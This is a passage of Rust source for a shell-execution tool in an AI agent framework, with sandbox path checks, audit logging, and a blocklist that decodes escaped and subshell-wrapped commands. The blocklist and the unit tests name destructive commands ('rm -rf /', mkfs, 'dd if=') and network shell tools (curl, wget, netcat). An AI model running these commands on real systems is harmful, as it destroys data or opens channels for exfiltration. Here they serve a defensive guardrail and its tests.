1use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use std::sync::Arc;
14
15use crate::audit::{AuditEntry, AuditLogger, AuditResult, chrono_now};
16use crate::config::ShellConfig;
17use crate::executor::{
18 FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
19};
20use crate::filter::{OutputFilterRegistry, sanitize_output};
21use crate::permissions::{PermissionAction, PermissionPolicy};
22
23const DEFAULT_BLOCKED: &[&str] = &[
24 "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
25 "reboot", "halt",
26];
27
28pub const DEFAULT_BLOCKED_COMMANDS: &[&str] = DEFAULT_BLOCKED;
33
34pub const SHELL_INTERPRETERS: &[&str] =
36 &["bash", "sh", "zsh", "fish", "dash", "ksh", "csh", "tcsh"];
37
38const SUBSHELL_METACHARS: &[&str] = &["$(", "`", "<(", ">("];
42
43#[must_use]
51pub fn check_blocklist(command: &str, blocklist: &[String]) -> Option<String> {
52 let lower = command.to_lowercase();
53 for meta in SUBSHELL_METACHARS {
55 if lower.contains(meta) {
56 return Some((*meta).to_owned());
57 }
58 }
59 let cleaned = strip_shell_escapes(&lower);
60 let commands = tokenize_commands(&cleaned);
61 for blocked in blocklist {
62 for cmd_tokens in &commands {
63 if tokens_match_pattern(cmd_tokens, blocked) {
64 return Some(blocked.clone());
65 }
66 }
67 }
68 None
69}
70
71#[must_use]
76pub fn effective_shell_command<'a>(binary: &str, args: &'a [String]) -> Option<&'a str> {
77 let base = binary.rsplit('/').next().unwrap_or(binary);
78 if !SHELL_INTERPRETERS.contains(&base) {
79 return None;
80 }
81 let pos = args.iter().position(|a| a == "-c")?;
83 args.get(pos + 1).map(String::as_str)
84}
85
86const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
87
88#[derive(Deserialize, JsonSchema)]
89pub(crate) struct BashParams {
90 command: String,
92}
93
94#[derive(Debug)]
96pub struct ShellExecutor {
97 timeout: Duration,
98 blocked_commands: Vec<String>,
99 allowed_paths: Vec<PathBuf>,
100 confirm_patterns: Vec<String>,
101 audit_logger: Option<Arc<AuditLogger>>,
102 tool_event_tx: Option<ToolEventTx>,
103 permission_policy: Option<PermissionPolicy>,
104 output_filter_registry: Option<OutputFilterRegistry>,
105 cancel_token: Option<CancellationToken>,
106 skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
107}
108
109impl ShellExecutor {
110 #[must_use]
111 pub fn new(config: &ShellConfig) -> Self {
112 let allowed: Vec<String> = config
113 .allowed_commands
114 .iter()
115 .map(|s| s.to_lowercase())
116 .collect();
117
118 let mut blocked: Vec<String> = DEFAULT_BLOCKED
119 .iter()
120 .filter(|s| !allowed.contains(&s.to_lowercase()))
121 .map(|s| (*s).to_owned())
122 .collect();
123 blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
124
125 if !config.allow_network {
126 for cmd in NETWORK_COMMANDS {
127 let lower = cmd.to_lowercase();
128 if !blocked.contains(&lower) {
129 blocked.push(lower);
130 }
131 }
132 }
133
134 blocked.sort();
135 blocked.dedup();
136
137 let allowed_paths = if config.allowed_paths.is_empty() {
138 vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
139 } else {
140 config.allowed_paths.iter().map(PathBuf::from).collect()
141 };
142
143 Self {
144 timeout: Duration::from_secs(config.timeout),
145 blocked_commands: blocked,
146 allowed_paths,
147 confirm_patterns: config.confirm_patterns.clone(),
148 audit_logger: None,
149 tool_event_tx: None,
150 permission_policy: None,
151 output_filter_registry: None,
152 cancel_token: None,
153 skill_env: std::sync::RwLock::new(None),
154 }
155 }
156
157 pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
159 match self.skill_env.write() {
160 Ok(mut guard) => *guard = env,
161 Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
162 }
163 }
164
165 #[must_use]
166 pub fn with_audit(mut self, logger: Arc<AuditLogger>) -> Self {
167 self.audit_logger = Some(logger);
168 self
169 }
170
171 #[must_use]
172 pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
173 self.tool_event_tx = Some(tx);
174 self
175 }
176
177 #[must_use]
178 pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
179 self.permission_policy = Some(policy);
180 self
181 }
182
183 #[must_use]
184 pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
185 self.cancel_token = Some(token);
186 self
187 }
188
189 #[must_use]
190 pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
191 self.output_filter_registry = Some(registry);
192 self
193 }
194
195 pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
201 self.execute_inner(response, true).await
202 }
203
204 #[allow(clippy::too_many_lines)]
205 async fn execute_inner(
206 &self,
207 response: &str,
208 skip_confirm: bool,
209 ) -> Result<Option<ToolOutput>, ToolError> {
210 let blocks = extract_bash_blocks(response);
211 if blocks.is_empty() {
212 return Ok(None);
213 }
214
215 let mut outputs = Vec::with_capacity(blocks.len());
216 let mut cumulative_filter_stats: Option<FilterStats> = None;
217 #[allow(clippy::cast_possible_truncation)]
218 let blocks_executed = blocks.len() as u32;
219
220 for block in &blocks {
221 if let Some(blocked) = self.find_blocked_command(block) {
224 self.log_audit(
225 block,
226 AuditResult::Blocked {
227 reason: format!("blocked command: {blocked}"),
228 },
229 0,
230 )
231 .await;
232 return Err(ToolError::Blocked {
233 command: blocked.to_owned(),
234 });
235 }
236
237 if let Some(ref policy) = self.permission_policy {
238 match policy.check("bash", block) {
239 PermissionAction::Deny => {
240 self.log_audit(
241 block,
242 AuditResult::Blocked {
243 reason: "denied by permission policy".to_owned(),
244 },
245 0,
246 )
247 .await;
248 return Err(ToolError::Blocked {
249 command: (*block).to_owned(),
250 });
251 }
252 PermissionAction::Ask if !skip_confirm => {
253 return Err(ToolError::ConfirmationRequired {
254 command: (*block).to_owned(),
255 });
256 }
257 _ => {}
258 }
259 } else if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
260 return Err(ToolError::ConfirmationRequired {
261 command: pattern.to_owned(),
262 });
263 }
264
265 self.validate_sandbox(block)?;
266
267 if let Some(ref tx) = self.tool_event_tx {
268 let _ = tx.send(ToolEvent::Started {
269 tool_name: "bash".to_owned(),
270 command: (*block).to_owned(),
271 });
272 }
273
274 let start = Instant::now();
275 let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
276 self.skill_env.read().ok().and_then(|g| g.clone());
277 let (out, exit_code) = execute_bash(
278 block,
279 self.timeout,
280 self.tool_event_tx.as_ref(),
281 self.cancel_token.as_ref(),
282 skill_env_snapshot.as_ref(),
283 )
284 .await;
285 if exit_code == 130
286 && self
287 .cancel_token
288 .as_ref()
289 .is_some_and(CancellationToken::is_cancelled)
290 {
291 return Err(ToolError::Cancelled);
292 }
293 #[allow(clippy::cast_possible_truncation)]
294 let duration_ms = start.elapsed().as_millis() as u64;
295
296 let is_timeout = out.contains("[error] command timed out");
297 let result = if is_timeout {
298 AuditResult::Timeout
299 } else if out.contains("[error]") || out.contains("[stderr]") {
300 AuditResult::Error {
301 message: out.clone(),
302 }
303 } else {
304 AuditResult::Success
305 };
306 self.log_audit(block, result, duration_ms).await;
307
308 if is_timeout {
309 if let Some(ref tx) = self.tool_event_tx {
310 let _ = tx.send(ToolEvent::Completed {
311 tool_name: "bash".to_owned(),
312 command: (*block).to_owned(),
313 output: out.clone(),
314 success: false,
315 filter_stats: None,
316 diff: None,
317 });
318 }
319 return Err(ToolError::Timeout {
320 timeout_secs: self.timeout.as_secs(),
321 });
322 }
323
324 let sanitized = sanitize_output(&out);
325 let mut per_block_stats: Option<FilterStats> = None;
326 let filtered = if let Some(ref registry) = self.output_filter_registry {
327 match registry.apply(block, &sanitized, exit_code) {
328 Some(fr) => {
329 tracing::debug!(
330 command = block,
331 raw = fr.raw_chars,
332 filtered = fr.filtered_chars,
333 savings_pct = fr.savings_pct(),
334 "output filter applied"
335 );
336 let block_fs = FilterStats {
337 raw_chars: fr.raw_chars,
338 filtered_chars: fr.filtered_chars,
339 raw_lines: fr.raw_lines,
340 filtered_lines: fr.filtered_lines,
341 confidence: Some(fr.confidence),
342 command: Some((*block).to_owned()),
343 kept_lines: fr.kept_lines.clone(),
344 };
345 let stats =
346 cumulative_filter_stats.get_or_insert_with(FilterStats::default);
347 stats.raw_chars += fr.raw_chars;
348 stats.filtered_chars += fr.filtered_chars;
349 stats.raw_lines += fr.raw_lines;
350 stats.filtered_lines += fr.filtered_lines;
351 stats.confidence = Some(match (stats.confidence, fr.confidence) {
352 (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
353 (None, cur) => cur,
354 });
355 if stats.command.is_none() {
356 stats.command = Some((*block).to_owned());
357 }
358 if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
359 stats.kept_lines.clone_from(&fr.kept_lines);
360 }
361 per_block_stats = Some(block_fs);
362 fr.output
363 }
364 None => sanitized,
365 }
366 } else {
367 sanitized
368 };
369
370 if let Some(ref tx) = self.tool_event_tx {
371 let _ = tx.send(ToolEvent::Completed {
372 tool_name: "bash".to_owned(),
373 command: (*block).to_owned(),
374 output: out.clone(),
375 success: !out.contains("[error]"),
376 filter_stats: per_block_stats,
377 diff: None,
378 });
379 }
380 outputs.push(format!("$ {block}\n{filtered}"));
381 }
382
383 Ok(Some(ToolOutput {
384 tool_name: "bash".to_owned(),
385 summary: outputs.join("\n\n"),
386 blocks_executed,
387 filter_stats: cumulative_filter_stats,
388 diff: None,
389 streamed: self.tool_event_tx.is_some(),
390 terminal_id: None,
391 locations: None,
392 raw_response: None,
393 }))
394 }
395
396 fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
397 let cwd = std::env::current_dir().unwrap_or_default();
398
399 for token in extract_paths(code) {
400 if has_traversal(&token) {
401 return Err(ToolError::SandboxViolation { path: token });
402 }
403
404 let path = if token.starts_with('/') {
405 PathBuf::from(&token)
406 } else {
407 cwd.join(&token)
408 };
409 let canonical = path
410 .canonicalize()
411 .or_else(|_| std::path::absolute(&path))
412 .unwrap_or(path);
413 if !self
414 .allowed_paths
415 .iter()
416 .any(|allowed| canonical.starts_with(allowed))
417 {
418 return Err(ToolError::SandboxViolation {
419 path: canonical.display().to_string(),
420 });
421 }
422 }
423 Ok(())
424 }
425
426 fn find_blocked_command(&self, code: &str) -> Option<&str> {
461 let cleaned = strip_shell_escapes(&code.to_lowercase());
462 let commands = tokenize_commands(&cleaned);
463 for blocked in &self.blocked_commands {
464 for cmd_tokens in &commands {
465 if tokens_match_pattern(cmd_tokens, blocked) {
466 return Some(blocked.as_str());
467 }
468 }
469 }
470 for inner in extract_subshell_contents(&cleaned) {
472 let inner_commands = tokenize_commands(&inner);
473 for blocked in &self.blocked_commands {
474 for cmd_tokens in &inner_commands {
475 if tokens_match_pattern(cmd_tokens, blocked) {
476 return Some(blocked.as_str());
477 }
478 }
479 }
480 }
481 None
482 }
483
484 fn find_confirm_command(&self, code: &str) -> Option<&str> {
485 let normalized = code.to_lowercase();
486 for pattern in &self.confirm_patterns {
487 if normalized.contains(pattern.as_str()) {
488 return Some(pattern.as_str());
489 }
490 }
491 None
492 }
493
494 async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
495 if let Some(ref logger) = self.audit_logger {
496 let entry = AuditEntry {
497 timestamp: chrono_now(),
498 tool: "shell".into(),
499 command: command.into(),
500 result,
501 duration_ms,
502 };
503 logger.log(&entry).await;
504 }
505 }
506}
507
508impl ToolExecutor for ShellExecutor {
509 async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
510 self.execute_inner(response, false).await
511 }
512
513 fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
514 use crate::registry::{InvocationHint, ToolDef};
515 vec![ToolDef {
516 id: "bash".into(),
517 description: "Execute a shell command and return stdout/stderr.\n\nParameters: command (string, required) - shell command to run\nReturns: stdout and stderr combined, prefixed with exit code\nErrors: Blocked if command matches security policy; Timeout after configured seconds; SandboxViolation if path outside allowed dirs\nExample: {\"command\": \"ls -la /tmp\"}".into(),
518 schema: schemars::schema_for!(BashParams),
519 invocation: InvocationHint::FencedBlock("bash"),
520 }]
521 }
522
523 async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
524 if call.tool_id != "bash" {
525 return Ok(None);
526 }
527 let params: BashParams = crate::executor::deserialize_params(&call.params)?;
528 if params.command.is_empty() {
529 return Ok(None);
530 }
531 let command = ¶ms.command;
532 let synthetic = format!("```bash\n{command}\n```");
534 self.execute_inner(&synthetic, false).await
535 }
536
537 fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
538 ShellExecutor::set_skill_env(self, env);
539 }
540}
541
542pub(crate) fn strip_shell_escapes(input: &str) -> String {
546 let mut out = String::with_capacity(input.len());
547 let bytes = input.as_bytes();
548 let mut i = 0;
549 while i < bytes.len() {
550 if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
552 let mut j = i + 2; let mut decoded = String::new();
554 let mut valid = false;
555 while j < bytes.len() && bytes[j] != b'\'' {
556 if bytes[j] == b'\\' && j + 1 < bytes.len() {
557 let next = bytes[j + 1];
558 if next == b'x' && j + 3 < bytes.len() {
559 let hi = (bytes[j + 2] as char).to_digit(16);
561 let lo = (bytes[j + 3] as char).to_digit(16);
562 if let (Some(h), Some(l)) = (hi, lo) {
563 #[allow(clippy::cast_possible_truncation)]
564 let byte = ((h << 4) | l) as u8;
565 decoded.push(byte as char);
566 j += 4;
567 valid = true;
568 continue;
569 }
570 } else if next.is_ascii_digit() {
571 let mut val = u32::from(next - b'0');
573 let mut len = 2; if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
575 val = val * 8 + u32::from(bytes[j + 2] - b'0');
576 len = 3;
577 if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
578 val = val * 8 + u32::from(bytes[j + 3] - b'0');
579 len = 4;
580 }
581 }
582 #[allow(clippy::cast_possible_truncation)]
583 decoded.push((val & 0xFF) as u8 as char);
584 j += len;
585 valid = true;
586 continue;
587 }
588 decoded.push(next as char);
590 j += 2;
591 } else {
592 decoded.push(bytes[j] as char);
593 j += 1;
594 }
595 }
596 if j < bytes.len() && bytes[j] == b'\'' && valid {
597 out.push_str(&decoded);
598 i = j + 1;
599 continue;
600 }
601 }
603 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
605 i += 2;
606 continue;
607 }
608 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
610 i += 1;
611 out.push(bytes[i] as char);
612 i += 1;
613 continue;
614 }
615 if bytes[i] == b'"' || bytes[i] == b'\'' {
617 let quote = bytes[i];
618 i += 1;
619 while i < bytes.len() && bytes[i] != quote {
620 out.push(bytes[i] as char);
621 i += 1;
622 }
623 if i < bytes.len() {
624 i += 1; }
626 continue;
627 }
628 out.push(bytes[i] as char);
629 i += 1;
630 }
631 out
632}
633
634pub(crate) fn extract_subshell_contents(s: &str) -> Vec<String> {
644 let mut results = Vec::new();
645 let chars: Vec<char> = s.chars().collect();
646 let len = chars.len();
647 let mut i = 0;
648
649 while i < len {
650 if chars[i] == '`' {
652 let start = i + 1;
653 let mut j = start;
654 while j < len && chars[j] != '`' {
655 j += 1;
656 }
657 if j < len {
658 results.push(chars[start..j].iter().collect());
659 }
660 i = j + 1;
661 continue;
662 }
663
664 let next_is_open_paren = i + 1 < len && chars[i + 1] == '(';
666 let is_paren_subshell = next_is_open_paren && matches!(chars[i], '$' | '<' | '>');
667
668 if is_paren_subshell {
669 let start = i + 2;
670 let mut depth: usize = 1;
671 let mut j = start;
672 while j < len && depth > 0 {
673 match chars[j] {
674 '(' => depth += 1,
675 ')' => depth -= 1,
676 _ => {}
677 }
678 if depth > 0 {
679 j += 1;
680 } else {
681 break;
682 }
683 }
684 if depth == 0 {
685 results.push(chars[start..j].iter().collect());
686 }
687 i = j + 1;
688 continue;
689 }
690
691 i += 1;
692 }
693
694 results
695}
696
697pub(crate) fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
700 let replaced = normalized.replace("||", "\n").replace("&&", "\n");
702 replaced
703 .split([';', '|', '\n'])
704 .map(|seg| {
705 seg.split_whitespace()
706 .map(str::to_owned)
707 .collect::<Vec<String>>()
708 })
709 .filter(|tokens| !tokens.is_empty())
710 .collect()
711}
712
713const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
716
717fn cmd_basename(tok: &str) -> &str {
719 tok.rsplit('/').next().unwrap_or(tok)
720}
721
722pub(crate) fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
729 if tokens.is_empty() || pattern.is_empty() {
730 return false;
731 }
732 let pattern = pattern.trim();
733 let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
734 if pattern_tokens.is_empty() {
735 return false;
736 }
737
738 let start = tokens
740 .iter()
741 .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
742 .unwrap_or(0);
743 let effective = &tokens[start..];
744 if effective.is_empty() {
745 return false;
746 }
747
748 if pattern_tokens.len() == 1 {
749 let pat = pattern_tokens[0];
750 let base = cmd_basename(&effective[0]);
751 base == pat || base.starts_with(&format!("{pat}."))
753 } else {
754 let n = pattern_tokens.len().min(effective.len());
756 let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
757 parts.extend(effective[1..n].iter().map(String::as_str));
758 let joined = parts.join(" ");
759 if joined.starts_with(pattern) {
760 return true;
761 }
762 if effective.len() > n {
763 let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
764 parts2.extend(effective[1..=n].iter().map(String::as_str));
765 parts2.join(" ").starts_with(pattern)
766 } else {
767 false
768 }
769 }
770}
771
772fn extract_paths(code: &str) -> Vec<String> {
773 let mut result = Vec::new();
774
775 let mut tokens: Vec<String> = Vec::new();
777 let mut current = String::new();
778 let mut chars = code.chars().peekable();
779 while let Some(c) = chars.next() {
780 match c {
781 '"' | '\'' => {
782 let quote = c;
783 while let Some(&nc) = chars.peek() {
784 if nc == quote {
785 chars.next();
786 break;
787 }
788 current.push(chars.next().unwrap());
789 }
790 }
791 c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
792 if !current.is_empty() {
793 tokens.push(std::mem::take(&mut current));
794 }
795 }
796 _ => current.push(c),
797 }
798 }
799 if !current.is_empty() {
800 tokens.push(current);
801 }
802
803 for token in tokens {
804 let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
805 if trimmed.is_empty() {
806 continue;
807 }
808 if trimmed.starts_with('/')
809 || trimmed.starts_with("./")
810 || trimmed.starts_with("../")
811 || trimmed == ".."
812 {
813 result.push(trimmed);
814 }
815 }
816 result
817}
818
819fn has_traversal(path: &str) -> bool {
820 path.split('/').any(|seg| seg == "..")
821}
822
823fn extract_bash_blocks(text: &str) -> Vec<&str> {
824 crate::executor::extract_fenced_blocks(text, "bash")
825}
826
827async fn kill_process_tree(child: &mut tokio::process::Child) {
831 #[cfg(unix)]
832 if let Some(pid) = child.id() {
833 let _ = Command::new("pkill")
834 .args(["-KILL", "-P", &pid.to_string()])
835 .status()
836 .await;
837 }
838 let _ = child.kill().await;
839}
840
841async fn execute_bash(
842 code: &str,
843 timeout: Duration,
844 event_tx: Option<&ToolEventTx>,
845 cancel_token: Option<&CancellationToken>,
846 extra_env: Option<&std::collections::HashMap<String, String>>,
847) -> (String, i32) {
848 use std::process::Stdio;
849 use tokio::io::{AsyncBufReadExt, BufReader};
850
851 let timeout_secs = timeout.as_secs();
852
853 let mut cmd = Command::new("bash");
854 cmd.arg("-c")
855 .arg(code)
856 .stdout(Stdio::piped())
857 .stderr(Stdio::piped());
858 if let Some(env) = extra_env {
859 cmd.envs(env);
860 }
861 let child_result = cmd.spawn();
862
863 let mut child = match child_result {
864 Ok(c) => c,
865 Err(e) => return (format!("[error] {e}"), 1),
866 };
867
868 let stdout = child.stdout.take().expect("stdout piped");
869 let stderr = child.stderr.take().expect("stderr piped");
870
871 let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
872
873 let stdout_tx = line_tx.clone();
874 tokio::spawn(async move {
875 let mut reader = BufReader::new(stdout);
876 let mut buf = String::new();
877 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
878 let _ = stdout_tx.send(buf.clone()).await;
879 buf.clear();
880 }
881 });
882
883 tokio::spawn(async move {
884 let mut reader = BufReader::new(stderr);
885 let mut buf = String::new();
886 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
887 let _ = line_tx.send(format!("[stderr] {buf}")).await;
888 buf.clear();
889 }
890 });
891
892 let mut combined = String::new();
893 let deadline = tokio::time::Instant::now() + timeout;
894
895 loop {
896 tokio::select! {
897 line = line_rx.recv() => {
898 match line {
899 Some(chunk) => {
900 if let Some(tx) = event_tx {
901 let _ = tx.send(ToolEvent::OutputChunk {
902 tool_name: "bash".to_owned(),
903 command: code.to_owned(),
904 chunk: chunk.clone(),
905 });
906 }
907 combined.push_str(&chunk);
908 }
909 None => break,
910 }
911 }
912 () = tokio::time::sleep_until(deadline) => {
913 kill_process_tree(&mut child).await;
914 return (format!("[error] command timed out after {timeout_secs}s"), 1);
915 }
916 () = async {
917 match cancel_token {
918 Some(t) => t.cancelled().await,
919 None => std::future::pending().await,
920 }
921 } => {
922 kill_process_tree(&mut child).await;
923 return ("[cancelled] operation aborted".to_string(), 130);
924 }
925 }
926 }
927
928 let status = child.wait().await;
929 let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
930
931 if combined.is_empty() {
932 ("(no output)".to_string(), exit_code)
933 } else {
934 (combined, exit_code)
935 }
936}
937
938#[cfg(test)]
939mod tests {
940 use super::*;
941
942 fn default_config() -> ShellConfig {
943 ShellConfig {
944 timeout: 30,
945 blocked_commands: Vec::new(),
946 allowed_commands: Vec::new(),
947 allowed_paths: Vec::new(),
948 allow_network: true,
949 confirm_patterns: Vec::new(),
950 }
951 }
952
953 fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
954 ShellConfig {
955 allowed_paths,
956 ..default_config()
957 }
958 }
959
960 #[test]
961 fn extract_single_bash_block() {
962 let text = "Here is code:\n```bash\necho hello\n```\nDone.";
963 let blocks = extract_bash_blocks(text);
964 assert_eq!(blocks, vec!["echo hello"]);
965 }
966
967 #[test]
968 fn extract_multiple_bash_blocks() {
969 let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
970 let blocks = extract_bash_blocks(text);
971 assert_eq!(blocks, vec!["ls", "pwd"]);
972 }
973
974 #[test]
975 fn ignore_non_bash_blocks() {
976 let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
977 let blocks = extract_bash_blocks(text);
978 assert_eq!(blocks, vec!["echo hi"]);
979 }
980
981 #[test]
982 fn no_blocks_returns_none() {
983 let text = "Just plain text, no code blocks.";
984 let blocks = extract_bash_blocks(text);
985 assert!(blocks.is_empty());
986 }
987
988 #[test]
989 fn unclosed_block_ignored() {
990 let text = "```bash\necho hello";
991 let blocks = extract_bash_blocks(text);
992 assert!(blocks.is_empty());
993 }
994
995 #[tokio::test]
996 #[cfg(not(target_os = "windows"))]
997 async fn execute_simple_command() {
998 let (result, code) =
999 execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
1000 assert!(result.contains("hello"));
1001 assert_eq!(code, 0);
1002 }
1003
1004 #[tokio::test]
1005 #[cfg(not(target_os = "windows"))]
1006 async fn execute_stderr_output() {
1007 let (result, _) =
1008 execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
1009 assert!(result.contains("[stderr]"));
1010 assert!(result.contains("err"));
1011 }
1012
1013 #[tokio::test]
1014 #[cfg(not(target_os = "windows"))]
1015 async fn execute_stdout_and_stderr_combined() {
1016 let (result, _) = execute_bash(
1017 "echo out && echo err >&2",
1018 Duration::from_secs(30),
1019 None,
1020 None,
1021 None,
1022 )
1023 .await;
1024 assert!(result.contains("out"));
1025 assert!(result.contains("[stderr]"));
1026 assert!(result.contains("err"));
1027 assert!(result.contains('\n'));
1028 }
1029
1030 #[tokio::test]
1031 #[cfg(not(target_os = "windows"))]
1032 async fn execute_empty_output() {
1033 let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
1034 assert_eq!(result, "(no output)");
1035 assert_eq!(code, 0);
1036 }
1037
1038 #[tokio::test]
1039 async fn blocked_command_rejected() {
1040 let config = ShellConfig {
1041 blocked_commands: vec!["rm -rf /".to_owned()],
1042 ..default_config()
1043 };
1044 let executor = ShellExecutor::new(&config);
1045 let response = "Run:\n```bash\nrm -rf /\n```";
1046 let result = executor.execute(response).await;
1047 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1048 }
1049
1050 #[tokio::test]
1051 #[cfg(not(target_os = "windows"))]
1052 async fn timeout_enforced() {
1053 let config = ShellConfig {
1054 timeout: 1,
1055 ..default_config()
1056 };
1057 let executor = ShellExecutor::new(&config);
1058 let response = "Run:\n```bash\nsleep 60\n```";
1059 let result = executor.execute(response).await;
1060 assert!(matches!(
1061 result,
1062 Err(ToolError::Timeout { timeout_secs: 1 })
1063 ));
1064 }
1065
1066 #[tokio::test]
1067 #[cfg(not(target_os = "windows"))]
1068 async fn timeout_logged_as_audit_timeout_not_error() {
1069 use crate::audit::AuditLogger;
1070 use crate::config::AuditConfig;
1071 let dir = tempfile::tempdir().unwrap();
1072 let log_path = dir.path().join("audit.log");
1073 let audit_config = AuditConfig {
1074 enabled: true,
1075 destination: log_path.display().to_string(),
1076 };
1077 let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1078 let config = ShellConfig {
1079 timeout: 1,
1080 ..default_config()
1081 };
1082 let executor = ShellExecutor::new(&config).with_audit(logger);
1083 let _ = executor.execute("```bash\nsleep 60\n```").await;
1084 let content = tokio::fs::read_to_string(&log_path).await.unwrap();
1085 assert!(
1086 content.contains("\"type\":\"timeout\""),
1087 "expected AuditResult::Timeout, got: {content}"
1088 );
1089 assert!(
1090 !content.contains("\"type\":\"error\""),
1091 "timeout must not be logged as error: {content}"
1092 );
1093 }
1094
1095 #[tokio::test]
1096 #[cfg(not(target_os = "windows"))]
1097 async fn stderr_output_logged_as_audit_error() {
1098 use crate::audit::AuditLogger;
1099 use crate::config::AuditConfig;
1100 let dir = tempfile::tempdir().unwrap();
1101 let log_path = dir.path().join("audit.log");
1102 let audit_config = AuditConfig {
1103 enabled: true,
1104 destination: log_path.display().to_string(),
1105 };
1106 let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1107 let executor = ShellExecutor::new(&default_config()).with_audit(logger);
1108 let _ = executor.execute("```bash\necho err >&2\n```").await;
1109 let content = tokio::fs::read_to_string(&log_path).await.unwrap();
1110 assert!(
1111 content.contains("\"type\":\"error\""),
1112 "expected AuditResult::Error for [stderr] output, got: {content}"
1113 );
1114 }
1115
1116 #[tokio::test]
1117 async fn execute_no_blocks_returns_none() {
1118 let executor = ShellExecutor::new(&default_config());
1119 let result = executor.execute("plain text, no blocks").await;
1120 assert!(result.is_ok());
1121 assert!(result.unwrap().is_none());
1122 }
1123
1124 #[tokio::test]
1125 async fn execute_multiple_blocks_counted() {
1126 let executor = ShellExecutor::new(&default_config());
1127 let response = "```bash\necho one\n```\n```bash\necho two\n```";
1128 let result = executor.execute(response).await;
1129 let output = result.unwrap().unwrap();
1130 assert_eq!(output.blocks_executed, 2);
1131 assert!(output.summary.contains("one"));
1132 assert!(output.summary.contains("two"));
1133 }
1134
1135 #[test]
1138 fn default_blocked_always_active() {
1139 let executor = ShellExecutor::new(&default_config());
1140 assert!(executor.find_blocked_command("rm -rf /").is_some());
1141 assert!(executor.find_blocked_command("sudo apt install").is_some());
1142 assert!(
1143 executor
1144 .find_blocked_command("mkfs.ext4 /dev/sda")
1145 .is_some()
1146 );
1147 assert!(
1148 executor
1149 .find_blocked_command("dd if=/dev/zero of=disk")
1150 .is_some()
1151 );
1152 }
1153
1154 #[test]
1155 fn user_blocked_additive() {
1156 let config = ShellConfig {
1157 blocked_commands: vec!["custom-danger".to_owned()],
1158 ..default_config()
1159 };
1160 let executor = ShellExecutor::new(&config);
1161 assert!(executor.find_blocked_command("sudo rm").is_some());
1162 assert!(
1163 executor
1164 .find_blocked_command("custom-danger script")
1165 .is_some()
1166 );
1167 }
1168
1169 #[test]
1170 fn blocked_prefix_match() {
1171 let executor = ShellExecutor::new(&default_config());
1172 assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
1173 }
1174
1175 #[test]
1176 fn blocked_infix_match() {
1177 let executor = ShellExecutor::new(&default_config());
1178 assert!(
1179 executor
1180 .find_blocked_command("echo hello && sudo rm")
1181 .is_some()
1182 );
1183 }
1184
1185 #[test]
1186 fn blocked_case_insensitive() {
1187 let executor = ShellExecutor::new(&default_config());
1188 assert!(executor.find_blocked_command("SUDO apt install").is_some());
1189 assert!(executor.find_blocked_command("Sudo apt install").is_some());
1190 assert!(executor.find_blocked_command("SuDo apt install").is_some());
1191 assert!(
1192 executor
1193 .find_blocked_command("MKFS.ext4 /dev/sda")
1194 .is_some()
1195 );
1196 assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
1197 assert!(executor.find_blocked_command("RM -RF /").is_some());
1198 }
1199
1200 #[test]
1201 fn safe_command_passes() {
1202 let executor = ShellExecutor::new(&default_config());
1203 assert!(executor.find_blocked_command("echo hello").is_none());
